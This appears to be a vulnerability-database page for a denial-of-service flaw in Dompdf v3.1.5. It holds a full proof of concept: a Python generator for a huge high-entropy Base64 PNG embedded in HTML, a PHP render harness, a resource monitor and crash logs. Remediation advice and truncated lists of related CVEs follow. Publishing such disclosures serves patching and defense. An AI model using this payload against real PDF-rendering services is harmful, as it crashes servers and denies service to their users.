Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network delivery via crafted HTML POST, no authentication required at library level, availability-only impact with no scope change.
Primary rating from Vendor (https://github.com/dompdf/dompdf).
CVSS VectorVendor: https://github.com/dompdf/dompdf
Lifecycle Timeline
3DescriptionCVE.org
Summary
Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).
While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.
Technical Deep Dive:
Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:
- 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream.
- Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.
Details
The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.
PoC (Proof of Concept)
- Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5- Use the following Python script to generate the malicious payload (
exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os
DIMENSIONS = (30000, 30000)
OUTPUT_FILE = "payload.html"
def generate_noise_bomb():
print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")
random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
image = Image.frombytes('L', DIMENSIONS, random_bytes)
buffer = BytesIO()
# Using PNG instead of JPEG to force full bitmap decompression in memory
image.save(buffer, format="PNG")
image_base64 = base64.b64encode(buffer.getvalue()).decode()
html_content = f"""
<html>
<body>
<div style="overflow:hidden; width:1px; height:1px;">
<img src="data:image/png;base64,{image_base64}">
</div>
<h1>PoC: Resource Exhaustion</h1>
</body>
</html>
"""
with open(OUTPUT_FILE, "w") as f:
f.write(html_content)
print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")
if __name__ == "__main__":
generate_noise_bomb()- Use the following Python script to monitor the system resources in a separate terminal (
monitor.py):
import psutil
import time
def start_monitoring():
print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
try:
while True:
for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
if 'php' in proc.info['name'].lower():
try:
pid = proc.info['pid']
mem = proc.info['memory_info'].rss / (1024 * 1024)
cpu = proc.cpu_percent(interval=0.1)
print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
except (psutil.NoSuchProcess, psutil.AccessDenied):
print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
return
time.sleep(0.05)
except KeyboardInterrupt:
print("\n[*] Monitoring finished.")
if __name__ == "__main__":
start_monitoring()
- Create a file named
render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;
$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);
$dompdf = new Dompdf($options);
$html = file_get_contents('php://stdin');
echo "[*] Starting Dompdf rendering process...\n";
try {
$dompdf->loadHtml($html);
$dompdf->render(); // Point of resource exhaustion
echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
echo "[!] Render failed: " . $e->getMessage() . "\n";
}- Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:
php -d memory_limit=2G render.php < payload.html- The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.
Proof of Concept Results
https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b
The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.
Payload Generation:
python3 exploit.py
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.htmlTarget Execution & Denial of Service:
php -d memory_limit=2G render.php < payload.htmlOutput
[*] Starting Dompdf rendering process...
PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:
python3 monitor.py
[*] Searching for PHP processes... (Press Ctrl+C to stop)
[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%Key Findings from Telemetry:
- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
- Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.
Impact
An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.
Credits
- Offensive Security Researcher: Fabian Rosales (far00t01).
AnalysisAI
Resource exhaustion in Dompdf v3.1.5 allows remote attackers to crash the PHP process by submitting a crafted HTML document containing a high-entropy PNG image encoded in Base64 at dimensions of 30,000x30,000 pixels. The attack bypasses Dompdf's dimension validation by exploiting the gap between the early-stage dimension check and the unbounded memory allocation during the rendering phase, forcing ~1.2 GB of uncompressed bitmap allocation that triggers a PHP Fatal Error or OS-level OOM kill. Publicly available exploit code exists (full PoC published in the GHSA advisory); no confirmed active exploitation in CISA KEV at time of analysis.
Technical ContextAI
Dompdf (composer package dompdf/dompdf) is a PHP HTML-to-PDF conversion library. The root cause is CWE-400 (Uncontrolled Resource Consumption): Dompdf's image processing pipeline validates pixel dimensions early in the pipeline (in Image/Cache.php) but does not enforce any cumulative memory or CPU budget during the subsequent rendering phase in AbstractRenderer.php and Dompdf.php. A high-entropy grayscale PNG bypasses PNG compression heuristics because each pixel is statistically independent, forcing full in-memory bitmap decompression. The affected code path is Dompdf::render() at line 490 of src/Dompdf.php, where the engine allocates an uncompressed in-memory representation of the entire 900-million-pixel canvas (~1.2 GB). The vulnerability is confirmed to affect exactly v3.1.5 (composer: dompdf/dompdf < 3.1.6).
RemediationAI
Upgrade to Dompdf v3.1.6 immediately via Composer: composer require dompdf/dompdf:^3.1.6. The patch (commits 7c65e7bbeccf146b2409740405af73949ad129d0 and 89164eaabe0bb50c462f0b24f740044ba5fb0f99) introduces an imageByteSizeLimit option in Options.php that defaults to the PHP process memory_limit, and adds pre-render byte-size checks in both Image/Cache.php and AbstractRenderer.php that reject images whose estimated uncompressed size exceeds that limit. If immediate upgrade is not possible, apply the following compensating controls: (1) Validate and reject HTML input containing data-URI images exceeding a configured size threshold at the application layer before passing to Dompdf - this prevents the crafted payload from reaching the library but requires custom middleware; (2) Set PHP's memory_limit to a conservatively low value (e.g., 128M) to reduce the window for allocation abuse, noting this may break legitimate large renders; (3) Run each Dompdf render in a separate subprocess or queue worker with resource limits (ulimit -v, cgroups) so a crash does not take down the main application process - this contains the DoS blast radius but does not prevent the crash itself. Advisory and release: https://github.com/dompdf/dompdf/releases/tag/v3.1.6.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allSame technique Denial Of Service
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-50060
GHSA-f5gf-2cj8-52g2